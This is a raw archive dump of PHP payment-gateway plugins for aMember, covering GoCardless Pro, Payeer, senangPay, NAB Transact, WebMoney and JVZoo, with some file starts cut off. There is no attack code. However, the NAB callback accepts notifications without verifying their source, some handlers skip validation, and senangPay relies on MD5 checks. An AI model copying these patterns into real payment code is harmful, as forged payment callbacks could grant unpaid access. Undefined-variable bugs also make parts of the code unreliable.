previous error handler restore_error_handler(); return $response; } } PK\ Apayment/amazon-instant-access/Amazon/InstantAccess/Log/Logger.phpnu[ $value) { if (substr($key, 0, 5) == 'HTTP_') { $key = substr($key, 5); } elseif ($key != 'CONTENT_TYPE' && $key != 'CONTENT_LENGTH') { continue; } $header = str_replace('_', '-', strtolower($key)); $headers[$header] = $value; } // fix by aMember 2015-12-08 // This seems to be the only way to get the Authorization header on Apache if (function_exists('apache_request_headers')) { $headers = apache_request_headers(); if (isset($headers[$header])) { return $headers[$header]; } $header = strtolower($header); foreach (apache_request_headers() as $key => $value) { $header = str_replace('_', '-', strtolower($key)); $headers[$header] = $value; } } ///// return $headers; } /** * Normalize the URL according to RFC 3986. * * This function replaces multiple slashses with a single one and eliminates '.' (current directory) and * '..' (parent directory). * * @param string a path * * @return string a normalized path */ public static function normalizePath($path) { if (!$path) { return '/'; } $parts = explode('/', $path); $normalizedParts = array(); foreach ($parts as $part) { if ($part == '..') { array_pop($normalizedParts); } elseif ($part != '.' && $part != '') { $normalizedParts[] = $part; } } $newPath = ''; if ($path[0] == '/') { $newPath .= '/'; } $newPath .= implode('/', $normalizedParts); if ($path != '/' && end($parts) == '') { $newPath .= '/'; } return $newPath; } } PK\4D&O&Opayment/gocardlesspro.phpnu[addText('merchant_id', array('size' => 10)) ->setLabel('Your Merchant ID'); $form->addText('access_token', array('size' => 64)) ->setLabel('Your Merchant access token'); $form->addText('webhook_token', array('size' => 64)) ->setLabel('Your Merchant WebHook token'); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox(Testing) Account?"); } public function isConfigured() { return $this->getConfig('merchant_id') && $this->getConfig('access_token'); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $rootURL = $this->getDi()->url('',null,true,2); $url = Am_Html::escape($this->getPluginUrl('ipn')); return <<GoCardless payment plugin configuration 1. Enable "gocardlesspro" payment plugin at aMember CP->Setup->Plugins 2. Configure "GoCardlesspro" payment plugin at aMember CP -> Setup/Configuration -> GoCardlesspro 3. Set up "Webhook URI" in your GoCardless merchant account to $url Set up "Redirect URI" and "Cancel URI" to $rootURL CUT; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $response = $this->_sendRequest('/redirect_flows', array ( 'redirect_flows' => array ( 'description' => $invoice->getLineDescription(), 'session_token' => Zend_Session::getId(), 'success_redirect_url' => $this->getPluginUrl('thanks'), 'links' => array('creditor' => $this->getConfig('merchant_id')) ) )); $response = json_decode($response->getBody(),true); if (!isset($response['redirect_flows']) || !isset($response['redirect_flows']['redirect_url'])) return false; $this->invoice->data()->set('gocardlesspro_id', $response['redirect_flows']['id'])->update(); $result->setAction(new Am_Paysystem_Action_Redirect($response['redirect_flows']['redirect_url'])); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gocardlesspro_Ipn($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gocardlesspro_Thanks($this, $request, $response, $invokeArgs); } private function _sendRequest($url, $params, $method = 'POST') { $request = $this->createHttpRequest(); $request->setHeader(array( 'Accept' => 'application/json', 'Content-Type' => 'application/json', 'User-Agent' => 'gocardlesspro-php/v0.0.1', 'Authorization' => 'Bearer '.$this->getConfig('access_token'), 'GoCardless-version' => '2015-04-29' // Latest version )); $request->setUrl(($this->getConfig('testing') ? Am_Paysystem_Gocardlesspro::SANDBOX_URL : Am_Paysystem_Gocardlesspro::LIVE_URL) . $url); if (!is_null($params)) { $request->setBody(json_encode($params)); } $request->setMethod($method); $this->logOther('Request to '.$url, var_export($params, true)); $response = $request->send(); $this->logOther('Response to '.$url, var_export($response, true)); return $response; } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { // Cancelling subscription $subscriptionId = $invoice->data()->get('subscription_id'); $response = $this->_sendRequest('/subscriptions/'.$subscriptionId.'/actions/cancel'); if ($response->getStatus() !== 200) { throw new Am_Exception_InputError("An error occurred while cancellation request"); } // Cancelling mandate $mandateId = $invoice->data()->get('mandate_id'); $response = $this->_sendRequest('/mandates/'.$mandateId.'/actions/cancel'); if ($response->getStatus() !== 200) { throw new Am_Exception_InputError("An error occurred while cancellation request"); } } public function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { // Request to check state of payment ; must be confirmed / paid_out $response = $this->_sendRequest('/payments/'.$payment->transaction_id, null, 'GET'); if ($response->getStatus() !== 200) { $result->setFailed('An error occured, unable to find the payment.'); return $result; } $response = json_decode($response->getBody(),true); if (!in_array($response['payments']['status'], array('confirmed', 'paid_out'))) { $result->setFailed('Payment status must be either "Confirmed" or "Paid out" at GoCardLess. Current state is "'.$response['payments']['status'].'"'); return $result; } $response = $this->_sendRequest('/refunds/', array ( 'refunds' => array ( 'amount' => intval(doubleval($amount) * 100), 'total_amount_confirmation' => intval(doubleval($amount) * 100), 'links' => array ('payment' => $payment->transaction_id) ) )); if ($response->getStatus() !== 201) { throw new Am_Exception_InputError("An error occurred while cancellation request"); } $trans = new Am_Paysystem_Transaction_Manual($this); $trans->setAmount($amount); $trans->setReceiptId($payment->receipt_id.'-gocardlesspro-refund'); $result->setSuccess($trans); } } class Am_Paysystem_Transaction_Gocardlesspro_Payment extends Am_Paysystem_Transaction_Incoming { public function __construct(Am_Paysystem_Abstract $plugin, array $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, new Am_Mvc_Request($request), $response, $invokeArgs); } public function getUniqId() { return $this->request->get('id'); } public function findInvoiceId() { $i = Am_Di::getInstance()->invoiceTable->findFirstByData('gocardlesspro_id', $this->getUniqId()); if($i) { $this->invoice = $i; return $i->public_id; } return null; } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Gocardlesspro_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->request->get('redirect_flow_id'); } public function findInvoiceId() { $i = Am_Di::getInstance()->invoiceTable->findFirstByData('gocardlesspro_id', $this->getUniqId()); if($i) { $this->invoice = $i; return $i->public_id; } return null; } private function _sendRequest($url, $params, $method = 'POST') { $request = $this->plugin->createHttpRequest(); $request->setHeader(array( 'Accept' => 'application/json', 'Content-Type' => 'application/json', 'User-Agent' => 'gocardlesspro-php/v0.0.1', 'Authorization' => 'Bearer '.$this->plugin->getConfig('access_token'), 'GoCardless-version' => '2015-04-29' // Current API version (version header might be updated soon, see https://gocardless.com/blog/) )); $request->setUrl(($this->plugin->getConfig('testing') ? Am_Paysystem_Gocardlesspro::SANDBOX_URL : Am_Paysystem_Gocardlesspro::LIVE_URL) . $url); if (!is_null($params)) { $request->setBody(json_encode($params)); } $request->setMethod($method); $this->plugin->logOther('Request to '.$url, var_export($params, true)); $response = $request->send(); $this->plugin->logOther('Response to '.$url, var_export($response, true)); return $response; } private function _updateInvoice($type, $id) { switch ($type) { case 'mandate': $this->invoice->data()->set('mandate_id', $id)->update(); break; case 'subscription': $this->invoice->data()->set('subscription_id', $id)->update(); break; } } public function processValidated() { // We do nothing ; // The default behavior is : $this->invoice->addPayment($this); } public function validateSource() { // We "complete" the request by acknowledging that specific user $response = $this->_sendRequest('/redirect_flows/'.$this->getUniqId().'/actions/complete', array ( 'data' => array ( 'session_token' => Zend_Session::getId(), ) )); if ($response->getStatus() !== 200) return false; $response = json_decode($response->getBody(),true); if (!(isset($response['redirect_flows']) && isset($response['redirect_flows']['links']) && isset($response['redirect_flows']['links']['mandate']))) return false; $invoice = $this->loadInvoice($this->findInvoiceId()); $mandateId = $response['redirect_flows']['links']['mandate']; $this->_updateInvoice('mandate', $mandateId); if (!empty($invoice->rebill_times) && intval($invoice->rebill_times) > 0) { // First payment is made outside the subscription, right away (one off payment): $paymentParams = array( 'payments' => array ( 'currency' => $invoice->currency, 'amount' => intval(floatval($invoice->first_total) * 100), 'description' => $invoice->getLineDescription(), 'metadata' => array ( 'user' => $invoice->getEmail(), 'invoice_id' => $invoice->public_id ), 'links' => array('mandate' => $mandateId) ) ); // One time payment of first_total $response = $this->_sendRequest('/payments', $paymentParams); if ($response->getStatus() !== 201) return false; $response = json_decode($response->getBody(),true); $invoice->addPayment(new Am_Paysystem_Transaction_Gocardlesspro_Payment($this->getPlugin(), $response['payments'], $this->response, $this->invokeArgs)); // Start subscription at interval + n $first_period = new Am_Period($invoice->first_period); $date_period = new DateTime($first_period->addTo(date('Y-m-d')), new DateTimeZone('UTC')); // Subscription of second_total $subscriptionParams = array ( 'start_at' => $date_period->format('Y-m-d'), 'links' => array ('mandate' => $mandateId), 'metadata' => array ( 'user' => $invoice->getEmail(), 'invoice_id' => $invoice->public_id ) ); $period = empty($invoice->second_period) ? $invoice->first_period : $invoice->second_period; if($period === Am_Period::MAX_SQL_DATE) { $subscriptionParams['interval_unit'] = 'yearly'; } else { $am_period = new Am_Period($period); switch ($am_period->getUnit()) { case 'm': $interval_unit = 'monthly'; break; case 'y': $interval_unit = 'yearly'; break; } $subscriptionParams['interval_unit'] = $interval_unit; } if (!empty($invoice->second_total)) { $subscriptionParams['amount'] = intval(floatval($invoice->second_total) * 100); } else { $subscriptionParams['amount'] = intval(floatval($invoice->first_total) * 100); } $subscriptionParams['name'] = $invoice->getLineDescription(); $subscriptionParams['currency'] = $invoice->currency; $subscriptionParams['count'] = intval($invoice->rebill_times); if ($subscriptionParams['count'] > 1000) { $subscriptionParams['count'] = 1000; } if ($subscriptionParams['interval_unit'] === 'monthly') { $subscriptionParams['day_of_month'] = 5; } $response = $this->_sendRequest('/subscriptions', array ('subscriptions' => $subscriptionParams)); if ($response->getStatus() !== 201) return false; $response = json_decode($response->getBody(),true); $this->_updateInvoice('subscription', $response['subscriptions']['id']); } else { // One time payment only $paymentParams = array( 'payments' => array ( 'currency' => $invoice->currency, 'amount' => intval(floatval($invoice->first_total) * 100), 'description' => $invoice->getLineDescription(), 'metadata' => array ( 'user' => $invoice->getEmail(), 'invoice_id' => $invoice->public_id ), 'links' => array('mandate' => $mandateId) ) ); // One time payment of first_total $response = $this->_sendRequest('/payments', $paymentParams); if ($response->getStatus() !== 201) return false; $response = json_decode($response->getBody(), true); $invoice->addPayment(new Am_Paysystem_Transaction_Gocardlesspro_Payment($this->getPlugin(), $response['payments'], $this->response, $this->invokeArgs)); } $invoice->updateStatus(); return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Gocardlesspro_Ipn extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { } public function findInvoiceId() { } public function validateSource() { return $this->request->getHeader('Webhook-Signature') === hash_hmac('sha256', $this->request->getRawBody(), $this->getPlugin()->getConfig('webhook_token')); } public function processValidated() { $payload = json_decode($this->request->getRawBody(), true); foreach($payload['events'] as $event) { $request = new Am_Mvc_Request($event, $this->request->getActionName()); $transaction = new Am_Paysystem_Transaction_Gocardlesspro_IpnEvent($this->getPlugin(), $request, $this->response, $this->invokeArgs); $transaction->process(); } } public function validateStatus() { return true; } public function validateTerms() { return true; } public function autoCreate() { return; } } class Am_Paysystem_Transaction_Gocardlesspro_IpnEvent extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('id'); // == EVXXXXXX } private function _sendRequest($url, $params, $method = 'POST') { $request = $this->plugin->createHttpRequest(); $request->setHeader(array( 'Accept' => 'application/json', 'Content-Type' => 'application/json', 'User-Agent' => 'gocardlesspro-php/v0.0.1', 'Authorization' => 'Bearer '.$this->plugin->getConfig('access_token'), 'GoCardless-version' => '2015-04-29' // Current API version (version header might be updated soon, see https://gocardless.com/blog/) )); $request->setUrl(($this->plugin->getConfig('testing') ? Am_Paysystem_Gocardlesspro::SANDBOX_URL : Am_Paysystem_Gocardlesspro::LIVE_URL) . $url); if (!is_null($params)) { $request->setBody(json_encode($params)); } $request->setMethod($method); $this->plugin->logOther('Request to '.$url, var_export($params, true)); $response = $request->send(); $this->plugin->logOther('Response to '.$url, var_export($response, true)); return $response; } public function findInvoiceId() { $links = $this->request->get('links'); switch($this->request->get('resource_type')) { case 'mandates': $i = Am_Di::getInstance()->invoiceTable->findFirstByData('mandate_id', $links['mandate']); if($i) { $this->invoice = $i; return $i->public_id; } break; case 'subscriptions': $i = Am_Di::getInstance()->invoiceTable->findFirstByData('subscription_id', $links['subscription']); if($i) { $this->invoice = $i; return $i->public_id; } break; case 'payments': $transaction = Am_Di::getInstance()->invoicePaymentTable->findFirstBy(array('transaction_id' => $links['payment'])); if ($transaction) { $this->invoice = $transaction->getInvoice(); return $transaction->getInvoice()->public_id; } break; } return null; } public function processValidated() { $links = $this->request->get('links'); switch ($this->request->get('resource_type')) { case 'mandates': if (in_array($this->request->get('action'), array('cancelled', 'failed', 'expired'))) { $this->invoice->setCancelled(true); } break; case 'subscriptions': if ($this->request->get('action') === 'payment_created') { $this->invoice->addPayment(new Am_Paysystem_Transaction_Gocardlesspro_Payment($this->getPlugin(), array('id' => $links['payment']), $this->response, $this->invokeArgs)); } else if ($this->request->get('action') === 'cancelled') { $this->invoice->setCancelled(true); } break; case 'payments': if (in_array($this->request->get('action'), array('cancelled', 'failed', 'late_failure_settled'))) { $this->invoice->setCancelled(true); } else if ($this->request->get('action') === 'charged_back') { $this->invoice->addChargeBack(new Am_Paysystem_Transaction_Gocardlesspro_Payment($this->getPlugin(), array('id' => $links['payment']), $this->response, $this->invokeArgs), $links['payment']); } break; } if (!is_null($this->invoice)) { $this->invoice->updateStatus(); } } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function autoCreate() { try { parent::autoCreate(); } catch (Am_Exception_Paysystem $e) { Am_Di::getInstance()->errorLogTable->logException($e); } } }PK\7^payment/payeer.phpnu[getConfig('id') && $this->getConfig('key'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('id') ->setLabel("Shop Identifier\n" . 'the identifier of shop registered in Payeer ' . 'system on which will be made payment'); $form->addPassword('key') ->setLabel("Secret Key\n" . 'a confidential key from shop settings'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $params = array( 'm_shop' => $this->getConfig('id'), 'm_orderid' => $invoice->public_id, 'm_amount' => $invoice->first_total, 'm_curr' => $invoice->currency, 'm_desc' => base64_encode($invoice->getLineDescription()) ); $params['m_sign'] = $this->calculateSignature($params); $params['m_process'] = 'send'; foreach ($params as $k => $v) { $a->addParam($k, $v); } $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $actionName = $request->getActionName(); if ($actionName == 'fail') { $invoice = $this->getDi()->invoiceTable->findFirstByPublicId($request->getParam('m_orderid')); if (!$invoice) throw new Am_Exception_InputError; return $response->redirectLocation($this->getRootUrl() . "/cancel?id=" . $invoice->getSecureId('CANCEL')); } else { return parent::directAction($request, $response, $invokeArgs); } } public function calculateSignature($params) { return strtoupper(hash('sha256', implode(':', $params) . ':' . $this->getConfig('key'))); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payeer_Ipn($this, $request, $response, $invokeArgs); } function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payeer_Thanks($plugin, $request, $response, $invokeArgs); } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $fail = $this->getPluginUrl('fail'); $success = $this->getPluginUrl('thanks'); return << My Shop -> crete new one or edit existing 2. Set the following fields Success URL: $success Fail URL: $fail Status URL: $ipn 3. And click 'Change' button aMember configuration: ----------------------- 1. fill in above form and save configuration 2. do test signup CUT; } } class Am_Paysystem_Transaction_Payeer extends Am_Paysystem_Transaction_Incoming { const STATUS_SUCCESS = 'success'; const STATUS_FAIL = 'fail'; public function findInvoiceId() { return $this->request->get('m_orderid'); } public function getUniqId() { return $this->request->get('m_operation_id'); } public function validateSource() { $params = $this->request->getRequestOnlyParams(); $sig = $params['m_sign']; unset($params['m_sign']); if ($sig != $this->getPlugin()->calculateSignature($params)) { return false; } return true; } public function validateStatus() { return $this->request->getParam('m_status') == self::STATUS_SUCCESS; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Payeer_Ipn extends Am_Paysystem_Transaction_Payeer { public function processValidated() { parent::processValidated(); echo $this->request->get('m_orderid') . '|success'; } } class Am_Paysystem_Transaction_Payeer_Thanks extends Am_Paysystem_Transaction_Payeer { }PK\%payment/senangpay.phpnu[addText('merchant_id') ->setLabel("Merchant ID") ->addRule('required'); $form->addText('secret_key') ->setLabel("Secret Key") ->addRule('required'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $action = new Am_Paysystem_Action_Form(self::URL . $this->getConfig('merchant_id')); $action->detail = str_replace(" ", "_", $invoice->getLineDescription()); $action->amount = $invoice->first_total; $action->order_id = $invoice->public_id; $action->hash = md5($this->getConfig('secret_key') . $action->detail . $action->amount . $action->order_id); $action->name = $invoice->getName(); $action->email = $invoice->getEmail(); $action->phone = $invoice->getPhone(); $result->setAction($action); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_SenangpayIPN($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Senangpay($this, $request, $response, $invokeArgs); } public function thanksAction($request, $response, array $invokeArgs) { try{ parent::thanksAction($request, $response, $invokeArgs); } catch (Am_Exception_Paysystem_TransactionInvalid $ex) { $this->invoice = $transaction->getInvoice(); $this->getDi()->response->redirectLocation($this->getCancelUrl()); } catch (Am_Exception_Paysystem_TransactionUnknown $ex) { $this->getDi()->response->redirectLocation($this->getDi()->url('cancel',null,false)); } } public function getReadme() { $return = $this->getPluginUrl('thanks'); $callback = $this->getPluginUrl('ipn'); return << Profile 3. Refer to Shopping Cart Integration Link section 4. Get your Merchant ID and Secret Key information 5. Set this URL $return as 'Return URL' 6. Set this URL $callback as 'Callback URL' CUT; } } class Am_Paysystem_Transaction_Senangpay extends Am_Paysystem_Transaction_Incoming_Thanks { public function validateSource() { $hash = md5($this->getPlugin()->getConfig('secret_key') . $this->request->get('status_id') . $this->request->get('order_id') . $this->request->get('transaction_id') . $this->request->get('msg')); return $this->request->get('hash') == $hash; } public function findInvoiceId() { return $this->request->get('order_id'); } public function validateStatus() { return $this->request->get('status_id') == 1; } public function getUniqId() { return $this->request->get('transaction_id'); } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_SenangpayIPN extends Am_Paysystem_Transaction_Senangpay { public function process() { parent::process(); echo "OK"; } }PK\q~6payment/nab.phpnu[addText('vendor_name') ->setLabel("Client ID\n" . 'Your Client ID will be supplied when your service is activated. ' . 'It will be in the format “ABC01”, where ABC is your organisation’s ' . 'unique three letter code. It is used for logging into the NAB ' . 'Transact administration, reporting and search tool.'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); parent::_initSetupForm($form); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form($this->getConfig('testing') ? self::TEST_URL : self::LIVE_URL); $a->vendor_name = $this->getConfig('vendor_name'); $a->payment_alert = $this->getDi()->config->get('admin_email'); $a->__set($invoice->getLineDescription(), $invoice->first_total); $a->payment_reference = $invoice->public_id; $a->receipt_address = $invoice->getEmail(); if(floatval($invoice->first_tax) > 0) { $a->gst_rate = $invoice->tax_rate; $a->gst_added = 'true'; } $if = array(); $a->__set($if[] = 'E-Mail', $invoice->getEmail()); $a->__set($if[] = 'Country', $this->getCountry($invoice)); $a->__set($if[] = 'Name', $invoice->getName()); $a->__set($if[] = 'Street/PO Box', $invoice->getStreet()); $a->__set($if[] = 'City', $invoice->getCity()); $a->__set($if[] = 'State', $this->getState($invoice)); $a->__set($if[] = 'Post Code', $invoice->getZip()); $a->__set($if[] = 'Telephone Number', $invoice->getPhone()); $a->information_fields = implode(',', $if); $a->return_link_url = $this->getReturnUrl(); $a->reply_url = $this->getPluginUrl('ipn').'?invoice='.$invoice->public_id; $a->reply_link_url = $this->getPluginUrl('ipn').'?invoice='.$invoice->public_id; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transacton_Nab($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme(){ return <<Test Card Number, Type and Expiry Use the following information when testing your order form: Card Number: 4444333322221111 Card Type: VISA Card CVV: 123 Card Expiry: 08 / 12 (or any date greater then today) Simulating Approved and Declined Transactions For testing purposes only, you can simulate approved and declined transactions by submitting alternative invoice totals. This is the final total that is on the bottom of the secure NAB Transact payment page. If the order total ends in 00, 08, 11 or 16, the transaction will be approved once the credit card details are submitted. All other options will cause a declined transaction. Order totals to simulate approved transactions: $1.00 $1.08 $105.00 $105.08 (or any total ending in 00, 08, 11 or 16) Order totals to simulate declined transactions: $1.51 $1.05 $105.51 $105.05 (or any total not ending in 00, 08, 11 or 16) NOTE: When using the live payments URL for processing live payments, the card issuing bank determines the transaction response independent of the invoice total. EOT; } function getSupportedCurrencies() { return array('AUD'); } protected function getState(Invoice $invoice) { $state = $this->getDi()->stateTable->findFirstBy(array( 'state' => $invoice->getState() )); return $state ? $state->title : $invoice->getState(); } protected function getCountry(Invoice $invoice) { $country = $this->getDi()->countryTable->findFirstBy(array( 'country' => $invoice->getCountry() )); return $country ? $country->title : $invoice->getCountry(); } } class Am_Paysystem_Transacton_Nab extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('invoice'); } public function getUniqId() { return $this->request->get('payment_number'); } public function validateSource() { return true; } public function validateStatus() { return in_array($this->request->get('bank_reference'), array('00','08','11','16')); } public function validateTerms() { return floatval($this->request->get('payment_amount')) == floatval($this->invoice->first_total); } }PK\m00payment/webmoney.phpnu[addText('purse')->setLabel("Webmoney Purse\nexample: Z123123123123") ->addRule('regex', 'Incorrect value', '/^[ZRED]\d+$/'); $form->addPassword('secret')->setLabel("Webmoney Merchant Secret\nused to validate incoming transactions\nvalidation mode must be set to MD5, not SIGN"); $form->addAdvCheckbox('testing')->setLabel('Webmoney Merchant in Test Mode?'); } public function isConfigured() { return strlen($this->getConfig('purse')); } public function getSupportedCurrencies() { return array('USD', 'RUB', 'EUR', ); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form; $a->setUrl('https://merchant.wmtransfer.com/lmi/payment.asp'); $a->LMI_PAYEE_PURSE = $this->getConfig('purse'); $a->LMI_PAYMENT_AMOUNT = $invoice->first_total; $a->LMI_PAYMENT_NO = $invoice->invoice_id; $a->AMEMBER_ID = $invoice->public_id; $a->LMI_PAYMENT_DESC_BASE64 = base64_encode($invoice->getLineDescription()); //$a->LMI_MODE = $this->getConfig('testing') ? 1 : 0; $a->LMI_SIM_MODE = 2; $a->LMI_RESULT_URL = $this->getPluginUrl('ipn'); $a->LMI_SUCCESS_URL = $this->getPluginUrl('thanks'); $a->LMI_SUCCESS_METHOD = 1; // post to thanks $a->LMI_FAIL_URL = $this->getCancelUrl(); $a->LMI_FAIL_METHOD = 1; // $a->LMI_PAYMER_EMAIL = $invoice->getEmail(); $result->setAction($a); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Webmoney($this, $request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Webmoney($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Webmoney extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getFiltered('LMI_SYS_TRANS_NO'); } public function findInvoiceId() { return $this->request->getFiltered('AMEMBER_ID'); } public function validateSource() { $arr = array( $this->request->get('LMI_PAYEE_PURSE'), $this->request->get('LMI_PAYMENT_AMOUNT'), $this->request->get('LMI_PAYMENT_NO'), $this->request->get('LMI_MODE'), $this->request->get('LMI_SYS_INVS_NO'), $this->request->get('LMI_SYS_TRANS_NO'), $this->request->get('LMI_SYS_TRANS_DATE'), $this->plugin->getConfig('secret'), $this->request->get('LMI_PAYER_PURSE'), $this->request->get('LMI_PAYER_WM'), $this->request->get('AMEMBER_ID') ); $hash = strtoupper(md5(implode('', $arr))); if ($hash != ($h = $this->request->get('LMI_HASH'))) throw new Am_Exception_Paysystem_TransactionSource("Calculated hash [$hash] does not match incoming [$h], check secret word in aMember and WM settings"); return true; } public function validateStatus() { return true; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('LMI_PAYMENT_AMOUNT')); return true; } public function findTime() { return new DateTime($this->request->get('LMI_SYS_TRANS_DATE')); } }PK\3wwpayment/jvzoo.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText('jvzoo_prod_item', "JVZoo product number", "1-5 Characters")); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addTextarea("secret", array('class'=>'one-per-line')) ->setLabel("JVZoo Secret Key\n" . "you can add several keys from different accounts if necessary"); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Jvzoo($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { parent::createThanksTransaction($request, $response, $invokeArgs); } public function canAutoCreate() { return true; } public function getReadme() { $url = Am_Html::escape($this->getPluginUrl('ipn')); $thanks = Am_Html::escape($this->getPluginUrl('thanks')); return <<JVZoo integration JVZIPN URL for your products in JVZoo should be set to: $url Optionally you can set Thank You page url for your product to: $thanks CUT; } } class Am_Paysystem_Transaction_JvzooThanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->request->get('cbreceipt'); } public function findInvoiceId() { return $this->request->get('cbreceipt'); } public function validateSource() { $keys = $this->getPlugin()->getConfig('secret'); $rcpt = $this->request->getParam('cbreceipt'); $time = $this->request->getParam('time'); $item = $this->request->getParam('item'); $cbpop = $this->request->getParam('cbpop'); foreach(explode("\n", $keys) as $key) { $key = trim($key); $xxpop=sha1("$key|$rcpt|$time|$item"); $xxpop=strtoupper(substr($xxpop,0,8)); if($cbpop==$xxpop) return true; } return false; } public function validateStatus() { return true; } public function validateTerms() { return true; } } class Am_Paysystem_Transaction_Jvzoo extends Am_Paysystem_Transaction_Incoming { // payment const SALE = "SALE"; const BILL = "BILL"; // refund const RFND = "RFND"; const CGBK = "CGBK"; const INSF = "INSF"; // cancel const CANCEL_REBILL = "CANCEL-REBILL"; // uncancel const UNCANCEL_REBILL = "UNCANCEL-REBILL"; protected $_autoCreateMap = array( 'name' => 'ccustname', 'email' => 'ccustemail', 'state' => 'ccuststate', 'country' => 'ccustcc', 'user_external_id' => 'ccustemail', ); public function generateInvoiceExternalId() { list($l,) = explode('-',$this->getUniqId()); return $l; } public function autoCreateGetProducts() { $item_name = $this->request->get('cproditem'); if (empty($item_name)) return; foreach ($this->getPlugin()->getDi()->billingPlanTable->findBy() as $bp) { $list = array_map('trim', explode(',', $bp->data()->get('jvzoo_prod_item'))); if (in_array($item_name, $list)) return $bp->getProduct(); } } public function getReceiptId() { switch ($this->request->get('ctransaction')) { //refund case Am_Paysystem_Transaction_Jvzoo::RFND: case Am_Paysystem_Transaction_Jvzoo::CGBK: case Am_Paysystem_Transaction_Jvzoo::INSF: return $this->request->get('ctransreceipt').'-'.$this->request->get('ctransaction'); break; default : return $this->request->get('ctransreceipt'); } } public function getAmount() { return moneyRound($this->request->get('ctransamount')); } public function getUniqId() { return @$this->request->get('ctransreceipt'); } public function validateSource() { $ipnFields = $this->request->getPost(); unset($ipnFields['cverify']); ksort($ipnFields); $pop = implode('|', $ipnFields) . '|' . $this->getPlugin()->getConfig('secret'); if (function_exists('mb_convert_encoding')) $pop = mb_convert_encoding($pop, "UTF-8"); $calcedVerify = strtoupper(substr(sha1($pop), 0, 8)); return $this->request->get('cverify') == $calcedVerify; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->request->get('ctransaction')) { //payment case Am_Paysystem_Transaction_Jvzoo::SALE: case Am_Paysystem_Transaction_Jvzoo::BILL: $this->invoice->addPayment($this); break; //refund case Am_Paysystem_Transaction_Jvzoo::RFND: case Am_Paysystem_Transaction_Jvzoo::CGBK: case Am_Paysystem_Transaction_Jvzoo::INSF: $this->invoice->addRefund($this, Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); //$this->invoice->stopAccess($this); break; //cancel case Am_Paysystem_Transaction_Jvzoo::CANCEL_REBILL: $this->invoice->setCancelled(true); break; //un cancel case Am_Paysystem_Transaction_Jvzoo::UNCANCEL_REBILL: $this->invoice->setCancelled(false); break; } } public function findInvoiceId() { return $this->request->get('ctransreceipt'); } 